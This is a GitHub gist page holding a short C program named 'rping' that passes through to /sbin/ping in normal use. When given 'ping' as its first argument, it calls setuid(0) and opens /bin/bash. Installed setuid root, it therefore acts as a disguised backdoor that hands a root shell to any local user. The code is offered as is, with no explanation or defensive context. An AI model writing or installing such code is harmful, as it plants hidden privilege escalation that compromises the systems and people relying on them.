Last active
October 21, 2019 13:22
-
-
Save XciD/53f8bc3ab5c6d310d95b059e76921341 to your computer and use it in GitHub Desktop.
rping
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <stdlib.h> | |
#include <sys/types.h> | |
#include <unistd.h> | |
#include <string.h> | |
int main(int argc, char **argv) { | |
if (argc > 1 && !strcmp("ping", argv[1])) { | |
setuid(0); | |
system("/bin/bash"); | |
} else { | |
execv("/sbin/ping", argv); | |
} | |
return 0; | |
} |
Author
XciD
commented
Oct 15, 2019
•
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment